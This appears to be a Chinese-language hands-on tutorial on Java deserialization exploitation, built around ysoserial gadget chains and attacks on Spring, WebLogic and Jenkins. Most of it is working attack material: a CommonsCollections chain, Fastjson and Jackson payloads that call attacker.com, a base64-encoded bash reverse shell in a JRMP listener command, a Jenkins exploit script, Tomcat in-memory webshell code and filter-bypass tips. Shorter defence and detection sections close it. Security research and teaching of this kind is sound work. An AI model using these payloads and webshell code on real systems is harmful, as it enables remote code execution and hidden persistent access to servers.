Java 反序列化漏洞实战:从 ysoserial 工具链到 3 种主流框架利用分析

Java 反序列化漏洞实战:从 ysoserial 工具链到 3 种主流框架利用分析

1. 反序列化漏洞核心原理剖析

Java 反序列化漏洞的本质在于:当不可信数据被反序列化时,若环境中存在可利用的类链(gadget chain),攻击者就能通过精心构造的序列化数据触发非预期行为。其技术根源可追溯至 Java 序列化机制的三个关键特性:

  1. 自动递归处理ObjectInputStream.readObject()会深度遍历对象图,自动反序列化所有关联对象
  2. 动态类加载:通过resolveClass动态加载类定义,不强制验证类合法性
  3. 方法自动调用:特定场景下会自动调用readObjectequalshashCode等魔术方法

典型攻击链构造需要以下组件协同工作:

[触发点] -> [传递链] -> [执行点] │ │ │ │ │ └── Runtime.exec()/Method.invoke() │ └── 多个类的属性传递与方法调用 └── 反序列化入口(readObject/parseObject等)

漏洞指纹特征(网络流量层面):

  • 二进制数据以AC ED 00 05开头(Java序列化魔术头)
  • Base64编码数据以rO0开头
  • HTTP请求中出现Serialization相关头字段

2. ysoserial 工具链深度解析

ysoserial 是反序列化漏洞研究的标杆工具,其核心价值在于预置了多种 gadget chain。我们重点分析三个典型利用链:

2.1 CommonsCollections 链(CC链)

适用版本:Commons Collections 3.1 - 4.0
核心类

  • InvokerTransformer:通过反射调用任意方法
  • ChainedTransformer:形成调用链
  • LazyMap/TransformedMap:触发转换逻辑

构造示例

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain);

防御突破技巧

  • InvokerTransformer被黑名单时,可改用InstantiateTransformer+TrAXFilter组合
  • 利用BeanComparator配合TemplatesImpl实现无反射调用

2.2 Fastjson 链

漏洞特征

  • 攻击载荷以 JSON 格式传递
  • 依赖@type字段指定恶意类
  • 常见触发点:JdbcRowSetImplTemplatesImpl

利用模板

{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }

版本对抗

  • 1.2.24:直接利用JdbcRowSetImpl
  • 1.2.47:需要特殊字符绕过
  • 1.2.68+:需要结合原生反序列化

2.3 Jackson 链

触发条件

  • 启用enableDefaultTyping()
  • 存在某些特定类(如org.springframework.context.support.ClassPathXmlApplicationContext

攻击示例

String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://attacker.com/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(json, Object.class);

3. 主流框架漏洞复现环境搭建

3.1 Spring Framework RCE

环境配置(docker-compose.yml):

version: '3' services: vulnerable-spring: image: vulhub/spring-webflow:2.4.5 ports: - "8080:8080"

利用步骤

  1. 检测存在漏洞的端点:
    curl -I http://target:8080/login?execution=e1s1
  2. 生成恶意序列化数据:
    ysoserial Spring1 "touch /tmp/pwned" > payload.ser
  3. 发送攻击请求:
    curl http://target:8080/login -H "Cookie: JSESSIONID=../../../tmp/payload"

3.2 WebLogic T3协议漏洞

环境配置

weblogic: image: vulhub/weblogic:10.3.6.0 ports: - "7001:7001" - "8453:8453"

攻击流程

  1. 识别开放T3服务:
    nmap -p 7001 --script weblogic-t3-info target
  2. 使用JRMP监听器:
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
  3. 触发反序列化:
    java -jar weblogic.jar target:7001 ysoserial/JRMPClient attacker:1099

3.3 Jenkins CLI反序列化

漏洞特征

  • 利用Jenkins CLI协议
  • 需要认证但可绕过
  • 影响版本:<= 2.56, LTS <= 2.46.1

自动化利用

import requests import subprocess def generate_payload(cmd): proc = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections5', cmd], stdout=subprocess.PIPE) return proc.stdout.read() r = requests.post('http://target:8080/cli', auth=('user', 'password'), data=generate_payload('touch /tmp/pwned'), headers={'Side':'download'})

4. 高级利用技术与防御绕过

4.1 内存马注入技术

Tomcat Filter型内存马

Field contextField = StandardContext.class.getDeclaredField("context"); contextField.setAccessible(true); StandardContext context = (StandardContext) contextField.get(getField(getField(request, "request"), "request"))); FilterDef filterDef = new FilterDef(); filterDef.setFilterName("evil"); filterDef.setFilterClass(EvilFilter.class.getName()); filterDef.setFilter(new EvilFilter()); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("evil"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap);

4.2 不出网利用技术

文件写入回显

FileOutputStream fos = new FileOutputStream("/var/www/html/result.txt"); fos.write(("Command: " + cmd + "\n").getBytes()); Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { fos.write((line + "\n").getBytes()); } fos.close();

DNS外带检测

String domain = "attacker." + System.currentTimeMillis() + ".dnslog.cn"; InetAddress.getByName(domain);

5. 防御方案与最佳实践

5.1 代码层防护

白名单校验示例

public class SecureObjectInputStream extends ObjectInputStream { private static final Set<String> ALLOWED_CLASSES = Set.of("java.util.ArrayList", "com.safe.Model"); protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(desc.getName())) { throw new InvalidClassException("Unauthorized", desc.getName()); } return super.resolveClass(desc); } }

5.2 架构层防护

推荐方案组合

  1. 网络层

    • 限制T3、JRMP等危险协议
    • 部署WAF规则拦截序列化特征
  2. 运行时防护

    # JVM启动参数 -Dorg.apache.commons.collections.enableUnsafeSerialization=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
  3. 依赖管理

    <!-- Maven依赖检查 --> <dependency> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>6.5.3</version> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </dependency>

6. 漏洞检测与监控体系

自动化检测脚本框架

class JavaDeserializationScanner: def __init__(self, target): self.target = target self.vulnerabilities = [] def check_weblogic(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.target, 7001)) sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n") response = sock.recv(1024) if b"WebLogic" in response: self.vulnerabilities.append("WebLogic T3 Protocol Exposure") except Exception as e: pass def generate_report(self): return { "target": self.target, "vulnerabilities": self.vulnerabilities, "timestamp": datetime.now().isoformat() }

日志监控关键指标

  • 异常堆栈中出现ObjectInputStream相关调用
  • 频繁出现的ClassNotFoundException异常
  • 非常规端口上的 JRMP 连接请求